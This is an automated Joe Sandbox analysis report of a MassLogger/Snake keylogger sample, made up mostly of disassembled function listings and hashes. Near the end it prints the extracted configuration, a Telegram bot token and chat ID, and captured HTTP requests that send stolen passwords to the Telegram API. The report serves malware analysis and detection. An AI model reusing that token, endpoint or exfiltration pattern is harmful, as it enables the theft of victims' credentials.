Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,76232EE0,00405B1A,?,00437800,76232EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,76232EE0,00405B1A,?,00437800,76232EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,76232EE0,00405B1A,?,00437800,76232EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,76233420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}
Source: 9Yn5tjyOgT.exe.6068.6.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8D1EC CryptUnprotectData,		6_2_36B8D1EC
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 6_2_36B8D9D9 CryptUnprotectData,		6_2_36B8D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49997 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:49997 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49993 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:49995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:49993 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:49991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:50003 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:50003 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:49989 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31957da5bf21Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a904c55497Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31bb19a83e14Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31d834762ebcHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f3cdf768dbHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320f49a41694Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd326264810fe1Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32c1c1e4108dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3195926fe3f3Host: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: 9Yn5tjyOgT.exe	Virustotal: Detection: 76%			Perma Link
Source: 9Yn5tjyOgT.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8C985h	6_2_36B8C638
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B81042h	6_2_36B80C28
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B80671h	6_2_36B803AF
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8E198h	6_2_36B8DEE1
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8EA48h	6_2_36B8E790
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B81042h	6_2_36B80F6F
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8B791h	6_2_36B8B4EC
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B81042h	6_2_36B80C1A
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8C041h	6_2_36B8BD88
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8DD40h	6_2_36B8DA89
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8EEA0h	6_2_36B8EBF2
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8E5F0h	6_2_36B8E347
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8B339h	6_2_36B8B07F
